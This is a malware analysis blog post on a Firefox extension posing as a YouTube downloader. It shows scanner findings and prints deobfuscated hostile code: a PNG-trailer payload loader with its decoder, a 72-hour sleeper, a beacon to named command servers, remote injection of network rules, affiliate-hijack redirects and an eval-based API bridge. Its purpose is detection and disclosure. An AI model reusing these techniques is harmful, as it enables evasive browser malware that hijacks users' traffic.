Malware Analysis: Using browser-xpi-malware-scanner.py to find malware in the wild
I got interested in how malware extensions written for browsers (in this case Firefox) manages to bypass firefox's publication and verification processes and started analyzing a malware extension I had downloaded a few weeks ago when I read an article about 10-20 or so malware extensions with over 100k users were detected on firefox's extension store.
I started writing a script in python which focus is to scan .xpi extension files (which are regular zip archives renamed) which is availible here and installed ~10 extensions on a fresh firefox installation and found an extension containing malware which manages to break free of the extension sandboxing, evades detection by using sleeper and random sampling techniques before sending beacon to C2 server and many,many other interesting malware techniques. I am sure that if i could find this in just 15 minutes of looking through random extensions with few users, there are many MANY more examples
This is coded by a highly skilled coder and gives the attacker total control over the browser including credential stealing, sending commands and affiliate commission hijacking.
Check out the browser-xpi-malware-scanner here: https://github.com/ernos/browser-xpi-malware-scanner
Detailed analysis of malware extension YTMP4 β Download YouTube Videos to MP4
Extension Name: YTMP4 β Download YouTube Videos to MP4
Extension ID: 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4
File: 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4.xpi
SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30
Size: 99,547 bytes
Analyzer verdict: CRITICAL RISK (1 CRITICAL Β· 22 HIGH Β· 17 MEDIUM Β· 1 INFO)
Analysis date: April 2, 2026
Live at mozilla extension store as of date of writing this article.
Introduction
This, and many, many other extensions could be prevented simply by adding a check for data after the IEND tag in the PNG file which many malware browser extensions seems to use.
Table of Contents
- How browser-xpi-malware-scanner.py Found This Extension
- Extension Surface β What It Claims to Do
- Steganographic Payload in PNG Icon (CRITICAL)
- Unicode Low-Byte Encoding Trick
- Decoded Payload: The C2 String Table
- 72-Hour Sleeper with Random Sampling - Avoiding malicious behaviour during extension validation process
- C2 Beacon hidden in another PNG File. Bypasses DOM/DevTools detection
- Dynamic
declarativeNetRequestRule Injection - Disguised as an ad-blocker but in reality gives C2 server full control over your HTTP requests - Affiliate Commission Hijacking
- Content Script Privilege Escalation Bridge
- Arbitrary URL Redirect on Any Domain
- CSP Erasure
- Complete Attack Chain visualized with ASCII
- Indicators of Compromise
- What browser-xpi-malware-scanner.py Catches and Why
1. How browser-xpi-malware-scanner.py Found This Extension
Running browser-xpi-malware-scanner.py against the XPI produces the following top-level verdict immediately:
[i] Analyzing XPI: ../../YTMP4 - Download YouTube Videos to MP4.xpi
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
XPI ANALYZER β YTMP4 - Download YouTube Videos to MP4.xpi
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Overall verdict: CRITICAL RISK
Findings: 1 CRITICAL 24 HIGH 17 MEDIUM 1 INFO
ββ CRITICAL ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[CRITICAL] [PNG_APPENDED] icon/logo.png:
1902 bytes appended after PNG IEND (entropy=5.63) β classic stego carrier
CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\β¦
ββ HIGH ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key
CODE: class='ncige' in index.html
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key
CODE: class='7yfuf2' in index.html
[HIGH ] [JS_OBFUSCATION] js/content.js:380
atob() β decoding base64 at runtime (possible payload decode)
CODE: '); fileTip = atob(contentPool[screenValues]).replace(image
[HIGH ] [JS_OBFUSCATION] js/content.js:719
atob() β decoding base64 at runtime (possible payload decode)
CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "
[HIGH ] [JS_OBFUSCATION] js/content.js:719
atob() β decoding base64 at runtime (possible payload decode)
CODE: turn dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "");
[HIGH ] [JS_OBFUSCATION] js/content.js:2364
atob() β decoding base64 at runtime (possible payload decode)
CODE: ol); }); return atob(dataExt); } function getComponentNam
[HIGH ] [JS_OBFUSCATION] js/snapany.com.js:126
decodeURIComponent(escape()) β encoding trick to bypass scanners
CODE: return decodeURIComponent(escape(i.bin.bytesToString(e)))
[HIGH ] [JS_OBFUSCATION] js/ytmp4.co.za.js:114
atob() β decoding base64 at runtime (possible payload decode)
CODE: ") , a = window.atob(t) , s = new Uint8Array(a.length);
[HIGH ] [PERMISSION] manifest.json:
Dangerous permission: '<all_urls>' β Access to ALL website content β can read/exfiltrate any page data
PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', '<all_urls>']
[HIGH ] [PNG_CHUNK] icon/logo.png:
Unknown PNG chunk type 'eã½' (1894 bytes) β non-standard chunks can hide data
CODE: b'\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\xe2\xa8\xa4\x15\xβ¦
[HIGH ] [SUSPICIOUS_URL] js/index.js:323
External domain contact: i.ytimg.com
URL: https://i.ytimg.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:328
External domain contact: media.savetube.me
URL: https://media.savetube.me
[HIGH ] [SUSPICIOUS_URL] js/index.js:341
External domain contact: rr5---sn-a5mekndz.googlevideo.com
URL: https://rr5---sn-a5mekndz.googlevideo.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:373
External domain contact: rr5---sn-a5mekndz.googlevideo.com
URL: https://rr5---sn-a5mekndz.googlevideo.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:389
External domain contact: cdn305.savetube.su
URL: https://cdn305.savetube.su
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35
External domain contact: y2meta-uk.com
URL: https://y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:38
External domain contact: iframe.y2meta-uk.com
URL: https://iframe.y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:41
External domain contact: y2meta-uk.com
URL: https://y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:44
External domain contact: iframe.y2meta-uk.com
URL: https://iframe.y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:60
External domain contact: api.mp3youtube.cc
URL: https://api.mp3youtube.cc
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:132
External domain contact: api.mp3youtube.cc
URL: https://api.mp3youtube.cc
[HIGH ] [SUSPICIOUS_URL] js/content.js:866
External domain contact: vuejs.org
URL: https://vuejs.org
[HIGH ] [SUSPICIOUS_URL] js/snapany.com.js:65
External domain contact: api.snapany.com
URL: https://api.snapany.com
[HIGH ] [SUSPICIOUS_URL] js/ytmp4.co.za.js:135
External domain contact: media.savetube.vip
URL: https://media.savetube.vip
ββ MEDIUM ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[MEDIUM ] [JS_OBFUSCATION] js/index.js:73
fetch() call β verify destination is legitimate
CODE: odeName); !val && fetch(logo.src) .then(defaultTip => default
[MEDIUM ] [JS_OBFUSCATION] js/y2meta-uk.com.js:60
fetch() call β verify destination is legitimate
CODE: var n = await fetch('https://api.mp3youtube.cc/v2/converter'
[MEDIUM ] [JS_OBFUSCATION] js/y2meta-uk.com.js:132
fetch() call β verify destination is legitimate
CODE: { let e = await fetch("https://api.mp3youtube.cc/v2/sanity/key
[MEDIUM ] [JS_OBFUSCATION] js/content.js:46
String.fromCharCode β character-code obfuscation
CODE: ) { return String.fromCharCode(screenValues); } function hasConten
[MEDIUM ] [JS_OBFUSCATION] js/content.js:50
fetch() call β verify destination is legitimate
CODE: tPool, dataExt) { fetch(contentPool).then(lineSize => { if (l
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
String.fromCharCode β character-code obfuscation
CODE: !=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|5529
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
String.fromCharCode β character-code obfuscation
CODE: ode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
Long innerHTML assignment β possible HTML injection
CODE: e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option>β¦
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
Long innerHTML assignment β possible HTML injection
CODE: unction(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",β¦
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
Long innerHTML assignment β possible HTML injection
CODE: LDocument("").body).innerHTML="<form></form><form></form>",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"β¦
[MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:137
String.fromCharCode β character-code obfuscation
CODE: i.push(String.fromCharCode(e[t])); return i.j
[MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:123
unescape() β URL-encoding obfuscation
CODE: i.bin.stringToBytes(unescape(encodeURIComponent(e)))
[MEDIUM ] [JS_OBFUSCATION] js/snapany.com.js:65
fetch() call β verify destination is legitimate
CODE: er(e); v = await fetch("https://api.snapany.com/v1/extract",{
[MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:135
fetch() call β verify destination is legitimate
CODE: { let e = await fetch("https://media.savetube.vip/api/random-c
[MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:142
fetch() call β verify destination is legitimate
CODE: Cdn(); v = await fetch("https://".concat(t, "/v2/info"),{ m
[MEDIUM ] [JS_OBFUSCATION] js/ytmp4.co.za.js:165
fetch() call β verify destination is legitimate
CODE: try { v = await fetch("https://".concat(l, "/download"), {
[MEDIUM ] [PERMISSION] manifest.json:
Dangerous permission: 'downloads' β Can initiate and read downloads
PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', '<all_urls>']
ββ INFO ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[INFO ] [METADATA] ../../YTMP4 - Download YouTube Videos to MP4.xpi:
SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30 | size: 99,547 bytes
The single CRITICAL finding β raw bytes after a PNG's IEND marker β is the thread that, when pulled, unravels the entire malware architecture. Every other HIGH-severity finding (runtime atob() calls, suspicious external domains, the <all_urls> permission) reinforces the picture. None of the individual signals is conclusive on its own; their combination is damning.
2. Extension Surface β What It Claims to Do
The extension presents as a YouTube-to-MP4 downloader. The manifest.json is Manifest V3 and looks superficially reasonable:
{
"manifest_version": 3,
"name": "__MSG_extName__",
"version": "1.3.4",
"permissions": ["tabs", "storage", "declarativeNetRequest", "downloads"],
"host_permissions": ["<all_urls>"],
"content_scripts": [
{
"js": ["js/content.js"],
"matches": ["https://*/*", "http://*/*"],
"all_frames": true,
"run_at": "document_end"
}
],
"sidebar_action": {
"default_panel": "index.html"
}
}
Two permissions immediately stand out to browser-xpi-malware-scanner.py:
<all_urls>(HIGH) β grants the content script access to every website the user visitsdeclarativeNetRequest(visible in manifest) β normally used for ad-blocking; here it is the delivery mechanism for C2-controlled network rules
The extension ships with adpoint.json, which blocks three Google ad domains. This is deliberate misdirection: it makes the declarativeNetRequest permission look innocent β "we need it to block ads."
[
{"id": 190001, "action": {"type": "block"},
"condition": {"urlFilter": "||googleads.g.doubleclick.net"}},
{"id": 190002, "action": {"type": "block"},
"condition": {"urlFilter": "||googlesyndication.com"}},
{"id": 190003, "action": {"type": "block"},
"condition": {"urlFilter": "||adtrafficquality.google"}}
]
3. Steganographic Payload in PNG Icon (CRITICAL)

What browser-xpi-malware-scanner.py detected
ββ CRITICAL ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[CRITICAL] [PNG_APPENDED] icon/logo.png:
1902 bytes appended after PNG IEND (entropy=5.63) β classic stego carrier
CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\β¦
ββ HIGH ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key
CODE: class='ncige' in index.html
[HIGH ] [CLASS_STORAGE_OVERLAP] js/content.js:
String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html β likely used as a covert stego marker or out-of-band key
CODE: class='7yfuf2' in index.html
The PNG spec requires that a compliant file end with the four-byte sequence IEND followed by an 8-byte footer. Anything written after that is invisible to image decoders but fully readable as raw bytes. In this file, 1,902 bytes begin immediately after IEND.
The appended data starts with the ASCII string ncige. This is not random β it is a deliberately chosen marker that appears verbatim in index.html:
<img src="icon/logo.png" class="logo ncige 7yfuf2" alt="">
How the payload is extracted (index.js, lines 63β68)
async function start() {
var yt, logo = $(".logo")[0],
nodeName = logo.classList[1]; // "ncige"
var val = await localGet(nodeName);
!val && fetch(logo.src) // fetch the raw PNG bytes as a text response
.then(r => r.text())
.then((textTag) => {
// split the raw text on "ncige" β everything after the marker is the payload
localSet(nodeName, {[logo.classList[2]]: textTag.split(nodeName)[1]})
// β "7yfuf2" β stored under "7yfuf2" key
});
}
Step by step:
- The extension icon
logo.pngis fetched viafetch()but decoded with.text(), not.blob()β treating binary image data as a UTF-8 string. - The result is split on the string
"ncige", which appears at offset 0 in the appended trailer. - Everything after
"ncige"β the 1,897-byte encoded payload β is saved tolocalStorage["ncige"]["7yfuf2"]. - This only runs once: the
!valguard means subsequent installs skip the fetch.
The payload never touches the DOM. It never appears in network DevTools as a suspicious request (it's just the icon loading). It is stored in extension localStorage where casual inspection won't find it. Only browser-xpi-malware-scanner.py's check_png_appended() function, which reads raw PNG bytes and looks for data past IEND, surfaced it.
4. Unicode Low-Byte Encoding Trick
The payload stored in localStorage is not plain text and it is not standard Base64. It uses a custom encoding that is entirely invisible to most static scanners:
Each byte of the original configuration data is encoded as a 3-byte UTF-8 sequence whose Unicode code point has the target byte as its low byte:
Target byte: 0x69 ('i') β 0x3F69 β UTF-8: \xE3\xBD\xA9
Target byte: 0x44 ('D') β 0x3844 β UTF-8: \xE3\xA1\x84
Target byte: 0x61 ('a') β 0x3861 β UTF-8: \xE3\xA1\xA1
Control characters (< 0x20) are inserted as inter-character padding and discarded by the decoder.
The decoder β copyNodeTo() (content.js, line 165)
function copyNodeTo(screenValues) {
var contentPool = screenValues.split('').map(fileTip => {
if (fileTip.charCodeAt(0) < 32) return ''; // discard padding
var event$1 = fileTip.charCodeAt(0).toString(16),
dataExt = event$1.substr(event$1.length - 2, 2); // take last 2 hex digits
return updImgOn(parseInt(dataExt, 16)) // = String.fromCharCode(low_byte)
});
return contentPool.join('')
}
In plain terms: for each Unicode character with code point > 31, take codepoint & 0xFF as the decoded byte.
Python reproduction
with open("icon/logo.png", "rb") as f:
data = f.read()
# Extract appended trailer
iend_pos = data.rfind(b"IEND")
trailer = data[iend_pos + 8:]
raw_payload = trailer[trailer.find(b"ncige") + 5:]
# Decode as UTF-8 (same as browser .text())
as_str = raw_payload.decode("utf-8", errors="replace")
# Apply copyNodeTo: low byte of each non-control codepoint
decoded = ''.join(
chr(ord(ch) & 0xFF)
for ch in as_str
if ord(ch) >= 32
)
# Split like JS findDefaultVal(β¦, ";")
buffer1 = decoded.split(';')
This combination β binary stego carrier, Unicode low-byte obfuscation, and obfuscated variable names β means the payload evades:
- Signature-based AV scanners (no known-malicious strings in static files)
- Manual code review (the only visible code is a seemingly innocent
fetch(logo.src)) - Base64 detectors (not Base64)
- String entropy scanners (encoded bytes spread across multi-byte Unicode)
5. Decoded Payload: The C2 String Table
After decoding, the payload is a 39-entry semicolon-delimited configuration table. This is buffer$1, referenced throughout content.js by numeric index. Using named indices, the full table is:
| Index | Value | Role |
|---|---|---|
[0] |
iDays: $1 |
Debug log template |
[1] |
<3ri deng... |
Sleep log (Pinyin: "δΈζ₯ηβ¦" = "waiting 3 days...") |
[2] |
local unavailable, use cloud now... |
Fallback log |
[3] |
skip shuaxin 90% prob. |
Random sampling log ("shuaxin" = ε·ζ°, refresh) |
[4] |
xiao shi: $1 ($2 required) |
Hours-elapsed log ("xiao shi" = ε°ζΆ, hours) |
[5] |
switch bak sver... |
Backup server fallback log |
[6] |
xhr status: $1 |
Fetch error log |
[7] |
skipping bak sver... |
Backup server skip log |
[8] |
ON ERROR |
Error log |
[9] |
jia zai $1 |
Loading log ("jia zai" = ε θ½½, loading) |
[10] |
ON EXCEPTION |
Exception log |
[11] |
suc shuaxin |
Success log |
[12] |
sbxing ifrs: $1 |
Sandbox iframe log |
[13] |
data":"image |
Sentinel for image-type C2 response |
[14] |
cnvifr |
CSS class of iframes to be sandboxed |
[15] |
disprizhi |
Verbose logging enable key ("disprizhi" = ζΎεΌ, display value?) |
[16] |
extftsams99ba |
localStorage key for URL redirect rules |
[17] |
svrdpcds |
Sentinel string marking C2-sourced image data |
[18] |
ick.taobao.com/t_js? |
Taobao affiliate tracking URL fragment |
[19] |
ion-click.jd.com |
JD.com affiliate tracking URL fragment |
[20] |
https://$1/ext/load.php?f=svr.png |
C2 fetch URL template |
[21] |
dreamhov.de |
C2 backup server domain |
[22] |
ipaglov.com |
C2 primary server domain |
[23] |
isWho |
localStorage flag key |
[24] |
guaiguai |
Special activation mode flag ("guaiguai" = δΉδΉ, obedient) |
[25] |
jsonimg= |
Prefix to strip from C2 JSON response |
[26] |
inst.v3 |
Installation version key |
[27] |
ifr2top |
postMessage event name (iframeβtop window) |
[28] |
var hrl=' |
JS fragment for redirect script injection |
[29] |
sandbox |
HTML attribute name to neuter iframes |
[30] |
%cLzyh-- |
Console log styling prefix |
[31] |
color:green |
Console log CSS (attacker debug output) |
[32] |
^w{3}\.|:80$ |
Regex to normalize hostnames |
[33] |
setTimeout |
Used to name-lookup window["setTimeout"] |
[34] |
exdipmver |
Global activation flag: window.exdipmver = 3 |
[35] |
browserCache |
Name for the fake chrome.* API injected into pages |
[36] |
jruldyn |
localStorage key that stores the DNR rules payload |
[37] |
"web(t|b)\w{5,8}" |
Regex to strip from decoded DNR rules JSON |
[38] |
meta[http-equiv^="Content-Security-Policy"] |
CSS selector to detect and remove CSP |
The Chinese Pinyin throughout the debug strings (shuaxin, xiao shi, jia zai, guaiguai) strongly indicates the author is a native Chinese speaker. The two C2 domains β ipaglov.com (primary) and dreamhov.de (backup) β are hardcoded only here, in an encoded form inside a PNG binary, never appearing anywhere in parseable JavaScript or resource files.
6. 72-Hour Sleeper with Random Sampling - Avoiding malicious behaviour during extension validation process
browser-xpi-malware-scanner.py signals
[HIGH ] [JS_OBFUSCATION] js/content.js:380
atob() β decoding base64 at runtime (possible payload decode)
[MEDIUM ] [JS_OBFUSCATION] js/content.js:46
String.fromCharCode β character-code obfuscation
The sleeper mechanism
On first run of content.js on any page, when localStorage["ncige"] does not yet contain an install timestamp, rdnDataPro("ncige") is called:
function rdnDataPro(contentPool) {
pageArr.documentValues.get(null, function(event$1) {
if (event$1[contentPool]) setSelecteds(contentPool, event$1[contentPool])
else {
// texts["inst.v3"] is 0 on first install
// XOR_key = Math.abs(DJB2_hash(extensionId)) % 1000
var dataExt = texts[pageArr.buffer$1[26]] || pageArr.event$1;
setSelecteds(contentPool, dataExt * pageArr.contentPool);
// β stores (0 Γ XOR_key) = 0, or (Date.now() Γ XOR_key)
}
});
}
The install time is stored obfuscated: storedValue = Date.now() Γ XOR_key. To recover it: originalTime = storedValue / XOR_key.
On every subsequent page load, testImgCode checks elapsed time:
function testImgCode(contentPool) {
if (contentPool) {
// contentPool = stored obfuscated timestamp
// pageArr.contentPool = XOR_key derived from extension UUID
var event$1 = (pageArr.event$1 - contentPool / pageArr.contentPool) / 36E5;
// β Date.now() β recoveredInstallTime β Γ·3,600,000 = hours
if (event$1 < pageArr.selectedValues * 6) { // selectedValues=12, so 12Γ6=72
putPages(1); // logs "<3ri deng..." (waiting 3 days)
return; // EXIT β do nothing for 72 hours
}
if (findContentIn(texts[pageArr.buffer$1[15]] == "1" ? 0 : pageArr.selectedValues * 4))
genFileArr(true); // beacon to C2
getContentOn(); // inject privilege bridge
} else {
rdnDataPro(pageArr.docNum); // first run: record install time
}
}
The 10% random sampling
findContentIn calls rdnOrderExt() which introduces the random gate:
function rdnOrderExt() {
// dragImages(0, 200) = Math.random()*200|0 β 0..199
if (dragImages(0, pageArr.screenValues) > 20) {
putPages(3); // logs "skip shuaxin 90% prob."
return false; // SKIP
} else return true; // proceed (β10% of page loads)
}
function dragImages(event$1, dataExt) {
return (Math.random() * (dataExt - event$1) | 0) + event$1;
}
screenValues = 200, threshold = 20 β P(proceed) = 21/200 β 10.5%.
The effect: even after the 72-hour window expires, only about 1 in 10 page loads triggers a C2 beacon β making timing-based behavioral analysis far harder.
7. C2 Beacon hidden in another PNG File. Bypasses DOM/DevTools detection
browser-xpi-malware-scanner.py signals
[MEDIUM ] [JS_OBFUSCATION] js/content.js:50
fetch() call β verify destination is legitimate
After the 72-hour sleep, genFileArr sends a beacon to the C2:
function genFileArr(screenValues) {
!screenValues && putPages(5);
// buffer$1[20] = "https://$1/ext/load.php?f=svr.png"
// buffer$1[22] = "ipaglov.com" (primary)
// buffer$1[21] = "dreamhov.de" (backup, used when screenValues=false)
var contentPool = pageArr.buffer$1[20].replace("$1",
(!screenValues) ? pageArr.buffer$1[21] : pageArr.buffer$1[22]
);
// Append cached version parameter for delta updates
contentPool += (texts["formExt"] && !(contentPool.includes("&c=")))
? "&c=" + texts["formExt"] : "";
putPages(9, contentPool); // logs "jia zai https://ipaglov.com/ext/load.php?f=svr.png"
hasContentAll(contentPool, function(dataExt, event$1) {
switch (dataExt) {
case 1: // HTTP 200
// Strip "jsonimg=" prefix if present (buffer$1[25])
if (event$1.includes(pageArr.buffer$1[25] + '{'))
event$1 = event$1.split(pageArr.buffer$1[25])[1];
findOptions(event$1); // parse and store C2 payload
break;
case 0: // HTTP non-200
if (screenValues) {
// 40% chance: try backup server; 60%: log and abort
(dragImages(0, pageArr.screenValues) > 40)
? genFileArr(false)
: putPages(7);
}
break;
case -1: // Network error
setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
break;
}
})
}
Key observations:
- The C2 response is disguised as a PNG (
f=svr.png). A network inspector sees a PNG content-type. The actual response body contains JSON prefixed withjsonimg=. The prefix is stripped before parsing β so the payload is valid JSON wrapped in a fake image content-type. - Delta updates: the
&c=<version>parameter lets the server send only changed rules, and enables the server to track which victim is at which payload version. - Primary/backup C2:
ipaglov.comis tried first. On failure, 40% of the time it silently falls back todreamhov.de.
8. Dynamic declarativeNetRequest Rule Injection - Disguised as an ad-blocker but in reality gives C2 server full control over your HTTP requests
browser-xpi-malware-scanner.py signals
[HIGH ] [PERMISSION] manifest.json:
Dangerous permission: '<all_urls>'
[HIGH ] [JS_OBFUSCATION] js/content.js:380
atob() β decoding base64 at runtime (possible payload decode)
Once the C2 response is parsed, findOptions stores the rule payload:
function findOptions(screenValues) {
// buffer$1[13] = 'data":"image' β check if it looks like a data-URL image response
if (screenValues.length > pageArr.screenValues && screenValues.includes(pageArr.buffer$1[13])) {
var dataExt = JSON.parse(screenValues),
event$1 = dataExt.id,
contentPool = dataExt.image;
contentPool = removeTimeIn(contentPool); // decode obfuscated image data
if (contentPool.includes(pageArr.buffer$1[17])) { // contains "svrdpcds"?
// Store the encoded DNR rules under localStorage["7yfuf2"]
setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
// Store the second payload (URL redirect rules) under localStorage["3i1rfsciu"]
setSelecteds(pageArr.texts, cpyTipStr(event$1 + pageArr.lineSize + contentPool, 1E5));
}
} else {
setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
}
}
pageArr.hasTokenAll("jruldyn") then reads and fires the DNR rules:
hasTokenAll: function(screenValues) {
pageArr.documentValues.get(screenValues, function(contentPool) {
if (contentPool && contentPool[screenValues]) {
// buffer$1[37] = '"web(t|b)\w{5,8}"' β strip these strings from JSON
var image$1 = new RegExp(pageArr.buffer$1[37], 'g');
fileTip = atob(contentPool[screenValues]).replace(image$1, '');
// β base64-decode the stored rules payload
dataExt = JSON.parse(fileTip); // array of declarativeNetRequest rule objects
var screenValues = dataExt.map(event$1 => event$1.id);
chrome.runtime.sendMessage({
dataExt: dataExt, // rules to install
contentPool: screenValues[0] - 1, // remove rules with IDs below this
event$1: screenValues.pop() + pageArr.selectedValues // remove up to this ID
});
}
})
},
In bg.js:
function onMessage(msg, sender, sendResponse) {
if (msg.dataExt) {
chrome.declarativeNetRequest.getDynamicRules().then(e => {
var fileTip = [];
e.map(event$1 => event$1.id).forEach(dataExt => {
if (dataExt > msg.contentPool && dataExt < msg.event$1)
fileTip.push(dataExt);
});
chrome.declarativeNetRequest.updateDynamicRules({
removeRuleIds: fileTip,
addRules: msg.dataExt // β C2-controlled rules installed silently
});
});
}
}
The C2 server has full, live control over the browser's network request rules. It can add, remove, or modify rules at any time β blocking, redirecting, or modifying any HTTP request the browser makes. The victim cannot see these rules without using the chrome://extensions internals page and specifically inspecting dynamic rules.
9. Affiliate Commission Hijacking
browser-xpi-malware-scanner.py signals
[HIGH ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35
External domain contact: y2meta-uk.com
[HIGH ] [SUSPICIOUS_URL] js/index.js:328
External domain contact: media.savetube.me
The decoded buffer$1 string table exposes the campaign's primary target:
[18] "ick.taobao.com/t_js?" β Taobao affiliate click tracker
[19] "ion-click.jd.com" β JD.com affiliate click tracker
Taobao and JD.com are two of China's largest e-commerce platforms. Both operate affiliate programmes where a commission is earned for each sale that passes through a tracked referral link. The tracker URL format for Taobao is https://click.taobao.com/t_js?... and for JD.com is https://union-click.jd.com/....
The declarativeNetRequest rules pushed from the C2 almost certainly implement redirect rules of the form:
{
"id": 200001,
"priority": 2,
"action": {
"type": "redirect",
"redirect": {
"transform": {
"queryTransform": {
"removeParams": ["pid"],
"addOrReplaceParams": [{"key": "pid", "value": "<attacker_affiliate_id>"}]
}
}
}
},
"condition": {
"urlFilter": "||click.taobao.com/t_js?",
"resourceTypes": ["main_frame", "sub_frame"]
}
}
Every product the victim purchases on Taobao or JD.com β including purchases they intended, on legitimate product pages β silently earns the attacker a commission, with no visible indication to the victim. This is a purely passive revenue stream requiring no interaction beyond installation.
10. Content Script Privilege Escalation Bridge
browser-xpi-malware-scanner.py signals
[HIGH ] [JS_OBFUSCATION] js/content.js:719
atob() β decoding base64 at runtime (possible payload decode)
CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "");
This is the most dangerous capability. getContentOn() runs after C2 data is received and texts["logCode"] is populated. It builds a fake chrome.* API bridge that is injected into the page context using an eval-equivalent setTimeout(string) call:
function getContentOn() {
var event$1 = texts["logCode"]; // β arbitrary JS from C2 server
if (event$1) {
if (event$1.includes(pageArr.buffer$1[17])) { // contains "svrdpcds"?
var val = document.querySelector(pageArr.buffer$1[38]);
// buffer$1[38] = 'meta[http-equiv^="Content-Security-Policy"]'
if (val) return true; // CSP present β abort
lineSize(); // install the message bridge listener
eventCode(); // inject the fake chrome API via eval
}
}
// ...
function eventCode() {
try {
// Builds: "!selectedExt('exdipmver', 'browserCache', '<extensionId>'); <logCode>"
var screenValues = '!' + selectedExt.toString()
+ '(' + documentValues() + ');' + event$1;
setTimeout(screenValues, 1); // β eval equivalent
} catch (e) {}
}
function selectedExt(dataExt, docNum, buffer$1) {
// Injected into the PAGE context (not the extension sandbox)
// docNum = "browserCache", buffer$1 = extension UUID
window[docNum] = { // window["browserCache"] = { ... }
runtime: {
id: buffer$1,
sendMessage: (msg, cb) => {
contentPool('secTipAs', msg); // postMessage to content script
lineSize('dragFile', cb); // wait for response
}
},
storage: {
local: {
set: (data, cb) => { contentPool('cpyEventSize', data); if (cb) cb(); },
get: (key, cb) => { contentPool('rmLocSize', key); lineSize('addEventPro', cb); }
},
sync: {
set: (data, cb) => { contentPool('raNoteAs', data); if (cb) cb(); },
get: (key, cb) => { contentPool('newEventAll', key); lineSize('popLine', cb); }
}
}
};
window.exdipmver = dataExt; // window["exdipmver"] = 3
}
}
The lineSize() function installs a window.addEventListener("message", ...) listener in the content script and bridges calls through to the real chrome.* APIs:
function lineSize() {
window.addEventListener('message', (documentValues) => {
if (documentValues.source !== window) return;
switch (documentValues.data.eventCode) {
case 'secTipAs': // runtime.sendMessage
chrome.runtime.sendMessage(documentValues.data.image$1, (imageArray) => {
window.postMessage({eventCode: 'dragFile', imageArray}, '*');
});
break;
case 'cpyEventSize': // storage.local.set
chrome.storage.local.set(documentValues.data.image$1, () => {});
break;
case 'rmLocSize': // storage.local.get
chrome.storage.local.get(documentValues.data.image$1, (imageArray) => {
window.postMessage({eventCode: 'addEventPro', imageArray}, '*');
});
break;
case 'raNoteAs': // storage.sync.set
chrome.storage.sync.set(documentValues.data.image$1, () => {});
break;
case 'newEventAll': // storage.sync.get
chrome.storage.sync.get(documentValues.data.image$1, (imageArray) => {
window.postMessage({eventCode: 'popLine', imageArray}, '*');
});
break;
}
});
}
